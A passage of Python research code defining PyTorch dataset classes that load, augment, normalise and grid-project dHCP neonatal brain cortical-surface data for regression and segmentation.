'both':\n            coin_flip = random.randint(0,1)\n            if coin_flip == 0:\n                filename.append(raw_filename + '_L')\n            elif coin_flip == 1:\n                filename.append(raw_filename + '_R')\n        elif self.parity == 'combined':\n            filename.append(raw_filename + '_L')\n            filename.append(raw_filename+'_R')\n        \n        # filename is now a list of the correct filenames.\n        \n        # now add warps if required\n        \n        if self.number_of_warps != 0: \n            \n            filename = [s + '_W'+warp_choice for s in filename ]\n            \n        return filename\n                \n        \n            \n            \n    def __getitem__(self, idx):\n        \n        \"\"\"\n        First load the images and collect them as numpy arrays\n        \n        then collect the label\n        \n        then collect the metadata (though might be None)\n        \"\"\"\n        \n        \n        \n        filename = self.__genfilename__(idx)\n        \n        \n        \n\n        \n        image_gifti = [nb.load(self.directory + '/'+individual_filename+'.shape.gii').darrays for individual_filename in filename]\n\n        image = []\n        if self.rotations == True:\n            \n            rotation_choice = random.randint(0, len(rotation_arr)-1)\n            if rotation_choice !=0:\n                for file in image_gifti:\n                    image.extend(item.data[rotation_arr[rotation_choice]] for item in file) \n            else:\n                for file in image_gifti:\n                    image.extend(item.data for item in file)\n        else:\n            for file in image_gifti:\n                image.extend(item.data for item in file)\n        \n\n        \n\n        \n        \n        \n        ### labels\n        if self.number_of_warps != 0:\n            \n            idx = idx%len(self.input_arr)\n        label = self.label[idx]\n\n        \n        ###### metadata grabbing if necessary\n        \n        \n        if self.input_arr.shape[1] > 2:\n            \n            self.metadata = input_arr[:,1:-1]\n            \n        else:\n            self.metadata = None\n            \n        \n        if self.smoothing != False:\n            for i in range(len(image)):\n                image[i] = np.clip(image[i], lower_bound[i%len(lower_bound)].item(), upper_bound[i%len(upper_bound)].item())\n                \n            \n            \n        # torchify if required:\n        \n        \n        if self.normalisation != None:\n            if self.normalisation == 'std':\n                for i in range(len(image)):\n                    \n                    image[i] = ( image[i] - means[i%len(means)].item( )) / stds[i%len(stds)].item()\n            \n            elif self.normalisation == 'range':\n                for i in range(len(image)):\n                    \n                    image[i] = image[i] - minima[i%len(minima)].item()\n                    image[i] = image[i] / (maxima[i%len(maxima)].item()- minima[i%len(minima)].item())\n            \n        if self.output_as_torch:\n            image = torch.Tensor( image )\n\n            label = torch.Tensor( [label] )\n            \n            if self.metadata != None:\n                \n                metadata = torch.Tensor( [self.metadata] )\n                \n        if self.metadata != None:\n            sample = {'image': image, 'metadata' : self.metadata, 'label': label}\n        \n        else:\n            sample = {'image': image,'label': label}\n\n        return sample\n    \n    \n\"\"\"\n\nexamples:\n    \n    \nfile_arr = np.load('/home/fa19/Documents/dHCP_Data_merged/scan_age_regression_full_shuffled_18-08-2020.npy', allow_pickle = True)\n\nMy_dHCP_Data(file_arr, rotations=True, smoothing = True, parity_choice='both')\n\nMy_dHCP_Data(file_arr, rotations=True, smoothing = True, parity_choice='combined')\n\nMy_dHCP_Data(file_arr, number_of_warps = 5, rotations=True, smoothing = False, parity_choice='left')\n \n\"\"\"\ndef get_global_mean_and_std_from_ds(ds):\n    nb_samples = 0\n    num_channels = ds[0]['image'].size(0)\n    channel_mean =  torch.zeros(num_channels) \n    channel_var = torch.zeros(num_channels)\n    #channel_std = torch.Tensor([0., 0., 0.])\n    for samples in ds:\n        # scale image to be between 0 and 1 \n        images = samples['image']\n        \n        channel_mean += images.mean(1)\n        channel_var += images.var(1)\n        nb_samples += 1\n    \n    channel_mean /= nb_samples\n    channel_var /= nb_samples\n    channel_std = np.sqrt(channel_var)\n    \n    return channel_mean, channel_std\n\n\ndef get_global_min_and_max_from_ds(ds):\n    \n    num_channels = ds[0]['image'].size(0)\n    \n    running_minima = torch.ones(num_channels)*100\n    running_maxima = torch.ones(num_channels)*-100\n    \n    for samples in ds:\n        # scale image to be between 0 and 1 \n        images = samples['image']\n\n        image_minima = torch.min(images, dim=1)[0]\n        image_maxima = torch.max(images, dim=1)[0]\n        for i in range(len(image_minima)):\n            if image_minima[i] < running_minima[i]:\n                running_minima[i] = image_minima[i].item()\n            if image_maxima[i] > running_maxima[i]:\n                running_maxima[i] = image_maxima[i].item()\n\n\n    \n    return running_minima, running_maxima\n\n\n\n\nclass My_Projected_dHCP_Data(torch.utils.data.Dataset):\n\n    def __init__(self, input_arr, rotations = False,\n                 number_of_warps = 0, parity_choice = 'left', smoothing = False, normalisation = None, projected =False, sample_only = True, output_as_torch = True ):\n        \n        \"\"\"\n        \n        A Full Dataset for the dHCP Data. Can include warps, rotations and parity flips.\n        \n        Fileanme style:\n            \n            in the array: only 'sub-X-ses-Y'\n            but for the filenames themselves\n                Left = 'sub-X_ses-Y_L'\n                Right = 'sub-X_ses-Y_R'\n                if warped:\n                    'sub-X_ses-Y_L_W1'\n        \n        INPUT ARGS:\n        \n            1. input_arr:\n                Numpy array size Nx2 \n                FIRST index MUST be the filename (excluding directory AND L or R ) of MERGED nibabel files\n                LAST index must be the (float) label \n                (OPTIONAL) Middle index if size 3 (optional) is any confounding metadata (Also float, e.g scan age for predicting birth age)\n        \n                        \n            2 . rotations - boolean: to add rotations or not to add rotations              \n            \n            3. number of warps to include - INT\n                NB WARPED AR INCLUDED AS FILENAME CHANGES. WARP NUMBER X IS WRITTEN AS filename_WX\n                NUMBER OF WARPS CANNOT EXCEED NUMBER OF WARPES PRESENT IN FILES \n                \n            4. Particy Choice (JMPORTANT!) - defines left and right-ness\n            \n                If: 'left'- will output ONLY LEFT \n                If: 'both' - will randomly choose L or R\n                If 'combined' - will output a combined array (left first), will be eventually read as a file with twice the number of input channels. as they will be stacked together\n                \n            5. smoothing - boolean, will clip extremal values according to the smoothing_array \n            \n            6. normalisation - str. Will normalise according to 'range', 'std' or 'None'\n                Range is from -1 to 1\n                Std is mean = 0, std = 1\n                \n            7. output_as_torch - boolean:\n                outputs values as torch Tensors if you want (usually yes)\n                \n                \n        \"\"\"\n        \n        \n        \n        \n        self.input_arr = input_arr\n        \n        self.image_files = input_arr[:,0]\n        self.label = input_arr[:,-1]\n        \n            \n        self.rotations = rotations\n                \n        self.projected = projected\n    \n        self.number_of_warps = number_of_warps\n        \n        self.parity = parity_choice\n            \n        self.smoothing = smoothing\n        self.normalisation = normalisation\n        self.sample_only = sample_only\n        \n        self.output_as_torch = output_as_torch\n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.directory = warped_files_directory\n        else:\n            self.directory = unwarped_files_directory\n            \n    def __len__(self):\n        \n        L = len(self.input_arr)\n        \n        \n        if self.number_of_warps !=0:\n            if self.sample_only == False:\n                L = L*self.number_of_warps\n\n        return L\n    \n    \n    def __test_input_params__(self):\n        assert self.input_arr.shape[1] >=2, 'check your input array is a nunpy array of files and labels'\n        assert type(self.number_of_warps) == int, \"number of warps must be an in integer (can be 0)\"\n        assert self.parity in ['left', 'both', 'combined'], \"parity choice must be either left, combined or both\"\n        if self.number_of_rotations != 0:\n            assert self.rotation_arr != None,'Must specify a rotation file containing rotation vertex ids if rotations are non-zero'       \n        assert self.rotations == bool, 'rotations must be boolean'\n        assert self.normalisation in [None, 'none', 'std', 'range'], 'Normalisation must be either std or range'\n        \n    \n    def __genfilename__(self,idx):\n        \n        \"\"\"\n        gets the appropriate file based on input parameters on PARITY and on WARPS\n        \n        \"\"\"\n        # grab raw filename\n        \n \n        raw_filename = self.image_files[idx]\n        \n        # add parity to it. IN THE FORM OF A LIST!  If requries both will output a list of length 2\n        filename = []\n        \n        if self.parity == 'left':\n            filename.append(raw_filename + '_L')\n        elif self.parity == 'both':\n            coin_flip = random.randint(0,1)\n            if coin_flip == 0:\n                filename.append(raw_filename + '_L')\n            elif coin_flip == 1:\n                filename.append(raw_filename + '_R')\n        elif self.parity == 'combined':\n            filename.append(raw_filename + '_L')\n            filename.append(raw_filename+'_R')\n        \n        # filename is now a list of the correct filenames.\n        \n        # now add warps if required\n        \n        if self.number_of_warps != 0: \n            warp_choice = str(random.randint(1,self.number_of_warps))\n            filename = [s + '_W'+warp_choice for s in filename ]\n            \n        return filename\n                \n        \n            \n            \n    def __getitem__(self, idx):\n        \n        \"\"\"\n        First load the images and collect them as numpy arrays\n        \n        then collect the label\n        \n        then collect the metadata (though might be None)\n        \"\"\"\n        \n        \n        \n        filename = self.__genfilename__(idx)\n        \n        \n        \n\n        \n        image_gifti = [nb.load(self.directory + '/'+individual_filename+'.shape.gii').darrays for individual_filename in filename]\n\n        image = []\n        if self.rotations == True:\n            \n            rotation_choice = random.randint(0, len(rotation_arr)-1)\n            if rotation_choice !=0:\n                for file in image_gifti:\n                    image.extend(item.data[rotation_arr[rotation_choice]] for item in file) \n            else:\n                for file in image_gifti:\n                    image.extend(item.data for item in file)\n        else:\n            for file in image_gifti:\n                image.extend(item.data for item in file)\n        \n\n        \n\n        \n        \n        \n        ### labels\n        if self.number_of_warps != 0:\n            \n            idx = idx%len(self.input_arr)\n        label = self.label[idx]\n\n        \n        ###### metadata grabbing if necessary\n        \n        \n        if self.input_arr.shape[1] > 2:\n            \n            self.metadata = input_arr[:,1:-1]\n            \n        else:\n            self.metadata = None\n            \n        \n        if self.smoothing != False:\n            for i in range(len(image)):\n                image[i] = np.clip(image[i], lower_bound[i%len(lower_bound)].item(), upper_bound[i%len(upper_bound)].item())\n                \n            \n            \n        # torchify if required:\n        \n        \n        if self.normalisation != None:\n            if self.normalisation == 'std':\n                for i in range(len(image)):\n                    \n                    image[i] = ( image[i] - means[i%len(means)].item( )) / stds[i%len(stds)].item()\n            \n            elif self.normalisation == 'range':\n                for i in range(len(image)):\n                    \n                    image[i] = image[i] - minima[i%len(minima)].item()\n                    image[i] = image[i] / (maxima[i%len(maxima)].item()- minima[i%len(minima)].item())\n        \n        \n        \n        if self.output_as_torch:\n            image = torch.Tensor( image )\n\n            label = torch.Tensor( [label] )\n            \n            if self.metadata != None:\n                \n                metadata = torch.Tensor( [self.metadata] )\n                \n        if self.projected == True:\n            image = griddata(xy_points, image.T, grid, 'linear')\n            image = torch.Tensor(image.reshape(170,170,4)).permute(2,0,1)\n            \n        if self.metadata != None:\n            sample = {'image': image, 'metadata' : self.metadata, 'label': label}\n        \n        else:\n            sample = {'image': image,'label': label}\n\n        return sample\n\nclass My_Projected_dHCP_Data_Segmentation(torch.utils.data.Dataset):\n\n    def __init__(self, input_arr, rotations = False,\n                 number_of_warps = 0, parity_choice = 'left', smoothing = False, normalisation = None, projected =False, sample_only = True, output_as_torch = True ):\n        \n        \"\"\"\n        \n        A Full Dataset for the dHCP Data. Can include warps, rotations and parity flips.\n        \n        Fileanme style:\n            \n            in the array: only 'sub-X-ses-Y'\n            but for the filenames themselves\n                Left = 'sub-X_ses-Y_L'\n                Right = 'sub-X_ses-Y_R'\n                if warped:\n                    'sub-X_ses-Y_L_W1'\n        \n        INPUT ARGS:\n        \n            1. input_arr:\n                Numpy array size Nx2 \n                FIRST index MUST be the filename (excluding directory AND L or R ) of MERGED nibabel files\n                LAST index must be the (float) label \n                (OPTIONAL) Middle index if size 3 (optional) is any confounding metadata (Also float, e.g scan age for predicting birth age)\n        \n                        \n            2 . rotations - boolean: to add rotations or not to add rotations              \n            \n            3. number of warps to include - INT\n                NB WARPED AR INCLUDED AS FILENAME CHANGES. WARP NUMBER X IS WRITTEN AS filename_WX\n                NUMBER OF WARPS CANNOT EXCEED NUMBER OF WARPES PRESENT IN FILES \n                \n            4. Particy Choice (JMPORTANT!) - defines left and right-ness\n            \n                If: 'left'- will output ONLY LEFT \n                If: 'both' - will randomly choose L or R\n                If 'combined' - will output a combined array (left first), will be eventually read as a file with twice the number of input channels. as they will be stacked together\n                \n            5. smoothing - boolean, will clip extremal values according to the smoothing_array \n            \n            6. normalisation - str. Will normalise according to 'range', 'std' or 'None'\n                Range is from -1 to 1\n                Std is mean = 0, std = 1\n                \n            7. output_as_torch - boolean:\n                outputs values as torch Tensors if you want (usually yes)\n                \n                \n        \"\"\"\n        \n        \n        \n        \n        self.input_arr = input_arr\n        \n        self.image_files = input_arr[:,0]\n\n        \n            \n        self.rotations = rotations\n                \n        self.projected = projected\n    \n        self.number_of_warps = number_of_warps\n        \n        self.parity = parity_choice\n            \n        self.smoothing = smoothing\n        self.normalisation = normalisation\n        self.sample_only = sample_only\n        \n        self.output_as_torch = output_as_torch\n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.directory = warped_files_directory\n        else:\n            self.directory = unwarped_files_directory\n            \n            \n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.label_directory = warped_labels_directory\n        else:\n            self.label_directory = unwarped_labels_directory\n            \n    def __len__(self):\n        \n        L = len(self.input_arr)\n        \n        \n        if self.number_of_warps !=0:\n            if self.sample_only == False:\n                L = L*self.number_of_warps\n\n        return L\n    \n    \n    def __test_input_params__(self):\n        assert self.input_arr.shape[1] >=2, 'check your input array is a nunpy array of files and labels'\n        assert type(self.number_of_warps) == int, \"number of warps must be an in integer (can be 0)\"\n        assert self.parity in ['left', 'both', 'combined'], \"parity choice must be either left, combined or both\"\n        if self.number_of_rotations != 0:\n            assert self.rotation_arr != None,'Must specify a rotation file containing rotation vertex ids if rotations are non-zero'       \n        assert self.rotations == bool, 'rotations must be boolean'\n        assert self.normalisation in [None, 'none', 'std', 'range'], 'Normalisation must be either std or range'\n        \n    \n    def __genfilename__(self,idx, right):\n        \n        \"\"\"\n        gets the appropriate file based on input parameters on PARITY and on WARPS\n        \n        \"\"\"\n        # grab raw filename\n \n        raw_filename = self.image_files[idx]\n        \n        # add parity to it. IN THE FORM OF A LIST!  If requries both will output a list of length 2\n        filename = []\n        \n        if self.parity != 'combined':\n            if right == True:\n                filename.append(raw_filename + '_R')\n                \n            else:\n                \n               filename.append(raw_filename + '_L')\n           \n           \n#        if self.parity == 'left':\n#            filename.append(raw_filename + '_L')\n#            \n#        elif self.parity == 'both':\n#            coin_flip = random.randint(0,1)\n#            if coin_flip == 0:\n#                filename.append(raw_filename + '_L')\n#            elif coin_flip == 1:\n#                filename.append(raw_filename + '_R')\n#                right = True\n           \n          \n        if self.parity == 'combined':\n            filename.append(raw_filename + '_L')\n            filename.append(raw_filename+'_R')\n            \n        # filename is now a list of the correct filenames.\n        \n        # now add warps if required\n        \n        if self.number_of_warps != 0: \n            warp_choice = str(random.randint(0,self.number_of_warps))\n            if warp_choice !='0':\n                \n                filename = [s + '_W'+warp_choice for s in filename ]\n\n\n        return filename\n                \n        \n            \n            \n    def __getitem__(self, idx):\n        \n        \"\"\"\n        First load the images and collect them as numpy arrays\n        \n        then collect the label\n        \n        then collect the metadata (though might be None)\n        \"\"\"\n        \n        if self.parity == 'both':\n            T = self.__len__()//2\n\n            idx, right  = idx % T, idx // T\n            filename = self.__genfilename__(idx, right)\n        else:\n            right = False\n            filename = self.__genfilename__(idx, right)   \n        \n        \n        \n\n        \n        image_gifti = [nb.load(self.directory + '/'+individual_filename+'.shape.gii').darrays for individual_filename in filename]\n        label_gifti = [nb.load(self.label_directory + '/'+individual_filename+'.label.gii').darrays for individual_filename in filename]\n\n        image = []\n        label = []\n        if self.rotations == True:\n            \n            rotation_choice = random.randint(0, len(rotation_arr)-1)\n            if rotation_choice !=0:\n                for file in image_gifti:\n                    image.extend(item.data[rotation_arr[rotation_choice]] for item in file) \n                \n                for file in label_gifti:\n                    label.extend(item.data[rotation_arr[rotation_choice]] for item in file)   \n                    \n            else:\n                for file in image_gifti:\n                    image.extend(item.data for item in file)\n                for file in label_gifti:\n                    label.extend(item.data for item in file)\n        else:\n            for file in image_gifti:\n                image.extend(item.data for item in file)\n            for file in label_gifti:\n                label.extend(item.data for item in file)\n\n        \n        if right == True:\n            image = [item[reversing_arr] for item in image]\n            label = [item[reversing_arr] for item in label]\n        \n        \n\n        \n        ###### metadata grabbing if necessary\n        \n        \n        if self.input_arr.shape[1] > 2:\n            \n            self.metadata = input_arr[:,1:-1]\n            \n        else:\n            self.metadata = None\n            \n        \n        if self.smoothing != False:\n            for i in range(len(image)):\n                image[i] = np.clip(image[i], lower_bound[i%len(lower_bound)].item(), upper_bound[i%len(upper_bound)].item())\n                \n            \n            \n        # torchify if required:\n        \n        \n        if self.normalisation != None:\n            if self.normalisation == 'std':\n                for i in range(len(image)):\n                    \n                    image[i] = ( image[i] - means[i%len(means)].item( )) / stds[i%len(stds)].item()\n            \n            elif self.normalisation == 'range':\n                for i in range(len(image)):\n                    \n                    image[i] = image[i] - minima[i%len(minima)].item()\n                    image[i] = image[i] / (maxima[i%len(maxima)].item()- minima[i%len(minima)].item())\n        \n        \n        if self.output_as_torch:\n            image = torch.Tensor( image )\n\n            label = torch.Tensor( label )\n            \n            \n            if self.metadata != None:\n                \n                metadata = torch.Tensor( [self.metadata] )\n            \n        if self.projected == True:\n            image = griddata(xy_points, image.T, grid, 'nearest')\n            image = torch.Tensor(image.reshape(170,170,4)).permute(2,0,1)\n            \n            label = griddata(xy_points, label.T, grid, 'nearest')\n            label = torch.Tensor(label.reshape(170,170,1))#.permute(2,0,1)\n            label = F.one_hot(label.to(torch.int64), 37).contiguous()\n            label = label.squeeze()\n            label = label.permute(2,0,1)\n           \n            \n        if self.metadata != None:\n            sample = {'image': image, 'metadata' : self.metadata, 'label': label}\n        \n        else:\n            sample = {'image': image,'label': label}\n\n        return sample\n\n\nclass My_Projected_dHCP_Data_Segmentation_Test(torch.utils.data.Dataset):\n\n    def __init__(self, input_arr, rotations = False,\n                 number_of_warps = 0, parity_choice = 'left', smoothing = False, normalisation = None, projected =False, sample_only = True, output_as_torch = True ):\n        \n        \"\"\"\n        \n        A Full Dataset for the dHCP Data. Can include warps, rotations and parity flips.\n        \n        Fileanme style:\n            \n            in the array: only 'sub-X-ses-Y'\n            but for the filenames themselves\n                Left = 'sub-X_ses-Y_L'\n                Right = 'sub-X_ses-Y_R'\n                if warped:\n                    'sub-X_ses-Y_L_W1'\n        \n        INPUT ARGS:\n        \n            1. input_arr:\n                Numpy array size Nx2 \n                FIRST index MUST be the filename (excluding directory AND L or R ) of MERGED nibabel files\n                LAST index must be the (float) label \n                (OPTIONAL) Middle index if size 3 (optional) is any confounding metadata (Also float, e.g scan age for predicting birth age)\n        \n                        \n            2 . rotations - boolean: to add rotations or not to add rotations              \n            \n            3. number of warps to include - INT\n                NB WARPED AR INCLUDED AS FILENAME CHANGES. WARP NUMBER X IS WRITTEN AS filename_WX\n                NUMBER OF WARPS CANNOT EXCEED NUMBER OF WARPES PRESENT IN FILES \n                \n            4. Particy Choice (JMPORTANT!) - defines left and right-ness\n            \n                If: 'left'- will output ONLY LEFT \n                If: 'both' - will randomly choose L or R\n                If 'combined' - will output a combined array (left first), will be eventually read as a file with twice the number of input channels. as they will be stacked together\n                \n            5. smoothing - boolean, will clip extremal values according to the smoothing_array \n            \n            6. normalisation - str. Will normalise according to 'range', 'std' or 'None'\n                Range is from -1 to 1\n                Std is mean = 0, std = 1\n                \n            7. output_as_torch - boolean:\n                outputs values as torch Tensors if you want (usually yes)\n                \n                \n        \"\"\"\n        \n        \n        \n        \n        self.input_arr = input_arr\n        \n        self.image_files = input_arr[:,0]\n\n        \n            \n        self.rotations = rotations\n                \n        self.projected = projected\n    \n        self.number_of_warps = number_of_warps\n        \n        self.parity = parity_choice\n            \n        self.smoothing = smoothing\n        self.normalisation = normalisation\n        self.sample_only = sample_only\n        \n        self.output_as_torch = output_as_torch\n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.directory = warped_files_directory\n        else:\n            self.directory = unwarped_files_directory\n            \n            \n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.label_directory = warped_labels_directory\n        else:\n            self.label_directory = unwarped_labels_directory\n            \n    def __len__(self):\n        \n        L = len(self.input_arr)\n        \n        \n        if self.number_of_warps !=0:\n            if self.sample_only == False:\n                L = L*self.number_of_warps\n\n        return L\n    \n    \n    def __test_input_params__(self):\n        assert self.input_arr.shape[1] >=2, 'check your input array is a nunpy array of files and labels'\n        assert type(self.number_of_warps) == int, \"number of warps must be an in integer (can be 0)\"\n        assert self.parity in ['left', 'both', 'combined'], \"parity choice must be either left, combined or both\"\n        if self.number_of_rotations != 0:\n            assert self.rotation_arr != None,'Must specify a rotation file containing rotation vertex ids if rotations are non-zero'       \n        assert self.rotations == bool, 'rotations must be boolean'\n        assert self.normalisation in [None, 'none', 'std', 'range'], 'Normalisation must be either std or range'\n        \n    \n    def __genfilename__(self,idx, right):\n        \n        \"\"\"\n        gets the appropriate file based on input parameters on PARITY and on WARPS\n        \n        \"\"\"\n        # grab raw filename\n \n        raw_filename = self.image_files[idx]\n        \n        # add parity to it. IN THE FORM OF A LIST!  If requries both will output a list of length 2\n        filename = []\n        \n        if self.parity != 'combined':\n            if right == True:\n                filename.append(raw_filename + '_R')\n                \n            else:\n                \n               filename.append(raw_filename + '_L')\n           \n           \n#        if self.parity == 'left':\n#            filename.append(raw_filename + '_L')\n#            \n#        elif self.parity == 'both':\n#            coin_flip = random.randint(0,1)\n#            if coin_flip == 0:\n#                filename.append(raw_filename + '_L')\n#            elif coin_flip == 1:\n#                filename.append(raw_filename + '_R')\n#                right = True\n           \n          \n        if self.parity == 'combined':\n            filename.append(raw_filename + '_L')\n            filename.append(raw_filename+'_R')\n            \n        # filename is now a list of the correct filenames.\n        \n        # now add warps if required\n        \n        if self.number_of_warps != 0: \n            warp_choice = str(random.randint(0,self.number_of_warps))\n            if warp_choice !='0':\n                \n                filename = [s + '_W'+warp_choice for s in filename ]\n\n\n        return filename\n                \n        \n            \n            \n    def __getitem__(self, idx):\n        \n        \"\"\"\n        First load the images and collect them as numpy arrays\n        \n        then collect the label\n        \n        then collect the metadata (though might be None)\n        \"\"\"\n        \n        if self.parity == 'both':\n            T = self.__len__()//2\n\n            idx, right  = idx % T, idx // T\n            filename = self.__genfilename__(idx, right)\n        else:\n            right = False\n            filename = self.__genfilename__(idx, right)   \n        \n        \n        \n\n        \n        image_gifti = [nb.load(self.directory + '/'+individual_filename+'.shape.gii').darrays for individual_filename in filename]\n        label_gifti = [nb.load(self.label_directory + '/'+individual_filename+'.label.gii').darrays for individual_filename in filename]\n\n        image = []\n        label = []\n        if self.rotations == True:\n            \n            rotation_choice = random.randint(1, len(test_rotation_arr)-1)\n            if rotation_choice !=0:\n                for file in image_gifti:\n                    image.extend(item.data[test_rotation_arr[rotation_choice]] for item in file) \n                \n                for file in label_gifti:\n                    label.extend(item.data[test_rotation_arr[rotation_choice]] for item in file)   \n                    \n            else:\n                for file in image_gifti:\n                    image.extend(item.data for item in file)\n                for file in label_gifti:\n                    label.extend(item.data for item in file)\n        else:\n            for file in image_gifti:\n                image.extend(item.data for item in file)\n            for file in label_gifti:\n                label.extend(item.data for item in file)\n\n        \n        if right == True:\n            image = [item[reversing_arr] for item in image]\n            label = [item[reversing_arr] for item in label]\n        \n        \n\n        \n        ###### metadata grabbing if necessary\n        \n        \n        if self.input_arr.shape[1] > 2:\n            \n            self.metadata = input_arr[:,1:-1]\n            \n        else:\n            self.metadata = None\n            \n        \n        if self.smoothing != False:\n            for i in range(len(image)):\n                image[i] = np.clip(image[i], lower_bound[i%len(lower_bound)].item(), upper_bound[i%len(upper_bound)].item())\n                \n            \n            \n        # torchify if required:\n        \n        \n        if self.normalisation != None:\n            if self.normalisation == 'std':\n                for i in range(len(image)):\n                    \n                    image[i] = ( image[i] - means[i%len(means)].item( )) / stds[i%len(stds)].item()\n            \n            elif self.normalisation == 'range':\n                for i in range(len(image)):\n                    \n                    image[i] = image[i] - minima[i%len(minima)].item()\n                    image[i] = image[i] / (maxima[i%len(maxima)].item()- minima[i%len(minima)].item())\n        \n        \n        if self.output_as_torch:\n            image = torch.Tensor( image )\n\n            label = torch.Tensor( label )\n            \n            \n            if self.metadata != None:\n                \n                metadata = torch.Tensor( [self.metadata] )\n            \n        if self.projected == True:\n            image = griddata(xy_points, image.T, grid, 'nearest')\n            image = torch.Tensor(image.reshape(170,170,4)).permute(2,0,1)\n            \n            label = griddata(xy_points, label.T, grid, 'nearest')\n            label = torch.Tensor(label.reshape(170,170,1))#.permute(2,0,1)\n            label = F.one_hot(label.to(torch.int64), 37).contiguous()\n            label = label.squeeze()\n            label = label.permute(2,0,1)\n           \n            \n        if self.metadata != None:\n            sample = {'image': image, 'metadata' : self.metadata, 'label': label}\n        \n        else:\n            sample = {'image': image,'label': label}\n\n        return sample\n\nclass My_Linear_Projected_dHCP_Data(torch.utils.data.Dataset):\n\n    def __init__(self, input_arr, rotations = False,\n                 number_of_warps = 0, parity_choice = 'left', smoothing = False, normalisation = None, projected =False, output_as_torch = True ):\n        \n        \"\"\"\n        \n        A Full Dataset for the dHCP Data. Can include warps, rotations and parity flips.\n        \n        Fileanme style:\n            \n            in the array: only 'sub-X-ses-Y'\n            but for the filenames themselves\n                Left = 'sub-X_ses-Y_L'\n                Right = 'sub-X_ses-Y_R'\n                if warped:\n                    'sub-X_ses-Y_L_W1'\n        \n        INPUT ARGS:\n        \n            1. input_arr:\n                Numpy array size Nx2 \n                FIRST index MUST be the filename (excluding directory AND L or R ) of MERGED nibabel files\n                LAST index must be the (float) label \n                (OPTIONAL) Middle index if size 3 (optional) is any confounding metadata (Also float, e.g scan age for predicting birth age)\n        \n                        \n            2 . rotations - boolean: to add rotations or not to add rotations              \n            \n            3. number of warps to include - INT\n                NB WARPED AR INCLUDED AS FILENAME CHANGES. WARP NUMBER X IS WRITTEN AS filename_WX\n                NUMBER OF WARPS CANNOT EXCEED NUMBER OF WARPES PRESENT IN FILES \n                \n            4. Particy Choice (JMPORTANT!) - defines left and right-ness\n            \n                If: 'left'- will output ONLY LEFT \n                If: 'both' - will randomly choose L or R\n                If 'combined' - will output a combined array (left first), will be eventually read as a file with twice the number of input channels. as they will be stacked together\n                \n            5. smoothing - boolean, will clip extremal values according to the smoothing_array \n            \n            6. normalisation - str. Will normalise according to 'range', 'std' or 'None'\n                Range is from -1 to 1\n                Std is mean = 0, std = 1\n                \n            7. output_as_torch - boolean:\n                outputs values as torch Tensors if you want (usually yes)\n                \n                \n        \"\"\"\n        \n        \n        \n        \n        self.input_arr = input_arr\n        \n        self.image_files = input_arr[:,0]\n        self.label = input_arr[:,-1]\n        \n            \n        self.rotations = rotations\n                \n        self.projected = projected\n    \n        self.number_of_warps = number_of_warps\n        \n        self.parity = parity_choice\n            \n        self.smoothing = smoothing\n        self.normalisation = normalisation\n        \n        self.output_as_torch = output_as_torch\n        if self.number_of_warps != 0 and self.number_of_warps != None:\n            self.directory = warped_files_directory\n        else:\n            self.directory = unwarped_files_directory\n            \n    def __len__(self):\n        \n        L = len(self.input_arr)\n        \n        \n        if self.number_of_warps !=0:\n            L = L*self.number_of_warps\n\n        return L\n    \n    \n    def __test_input_params__(self):\n        assert self.input_arr.shape[1] >=2, 'check your input array is a nunpy array of files and labels'\n        assert type(self.number_of_warps) == int, \"number of warps must be an in integer (can be 0)\"\n        assert self.parity in ['left', 'both', 'combined'], \"parity choice must be either left, combined or both\"\n        if self.number_of_rotations != 0:\n            assert self.rotation_arr != None,'Must specify a rotation file containing rotation vertex ids if rotations are non-zero'       \n        assert self.rotations == bool, 'rotations must be boolean'\n        assert self.normalisation in [None, 'none', 'std', 'range'], 'Normalisation must be either std or range'\n        \n    \n    def __genfilename__(self,idx):\n        \n        \"\"\"\n        gets the appropriate file based on input parameters on PARITY and on WARPS\n        \n        \"\"\"\n        # grab raw filename\n       \n \n        raw_filename = self.image_files[idx]\n        \n        # add parity to it. IN THE FORM OF A LIST!  If requries both will output a list of length 2\n        filename = []\n        \n        if self.parity == 'left':\n            filename.append(raw_filename + '_L')\n        elif self.parity == 'both':\n            coin_flip = random.randint(0,1)\n            if coin_flip == 0:\n                filename.append(raw_filename + '_L')\n            elif coin_flip == 1:\n                filename.append(raw_filename + '_R')\n        elif self.parity == 'combined':\n            filename.append(raw_filename + '_L')\n            filename.append(raw_filename+'_R')\n        \n        # filename is now a list of the correct filenames.\n        \n        # now add warps if required\n        \n        if self.number_of_warps != 0: \n            warp_choice = str(random.randint(1,self.number_of_warps))\n            filename = [s + '_W'+warp_choice for s in filename ]\n            \n        return filename\n                \n        \n            \n            \n    def __getitem__(self, idx):\n        \n        \"\"\"\n        First load the images and collect them as numpy arrays\n        \n        then collect the label\n        \n        then collect the metadata (though might be None)\n        \"\"\"\n        \n        \n        \n        filename = self.__genfilename__(idx)\n        \n        \n        \n\n        \n        image_gifti = [nb.load(self.directory + '/'+individual_filename+'.shape.gii').darrays for individual_filename in filename]\n\n        image = []\n        if self.rotations == True:\n            \n            rotation_choice = random.randint(0, len(rotation_arr)-1)\n            if rotation_choice !=0:\n                for file in image_gifti:\n                    image.extend(item.data[rotation_arr[rotation_choice]] for item in file) \n            else:\n                for file in image_gifti:\n                    image.extend(item.data for item in file)\n        else:\n            for file in image_gifti:\n                image.extend(item.data for item in file)\n        \n\n        \n\n        \n        \n        \n        ### labels\n        if self.number_of_warps != 0:\n            \n            idx = idx%len(self.input_arr)\n        label = self.label[idx]\n\n        \n        ###### metadata grabbing if necessary\n        \n        \n        if self.input_arr.shape[1] > 2:\n            \n            self.metadata = input_arr[:,1:-1]\n            \n        else:\n            self.metadata = None\n            \n        \n        if self.smoothing != False:\n            for i in range(len(image)):\n                image[i] = np.clip(image[i], lower_bound[i%len(lower_bound)].item(), upper_bound[i%len(upper_bound)].item())\n                \n            \n            \n        # torchify if required:\n        \n        \n        if self.normalisation != None:\n            if self.normalisation == 'std':\n                for i in range(len(image)):\n                    \n                    image[i] = ( image[i] - means[i%len(means)].item( )) / stds[i%len(stds)].item()\n            \n            elif self.normalisation == 'range':\n                for i in range(len(image)):\n                    \n                    image[i] = image[i] - minima[i%len(minima)].item()\n                    image[i] = image[i] / (maxima[i%len(maxima)].item()- minima[i%len(minima)].item())\n        \n        \n        \n        if self.output_as_torch:\n            image = torch.Tensor( image )\n\n            label = torch.Tensor( [label] )\n            \n            if self.metadata != None:\n                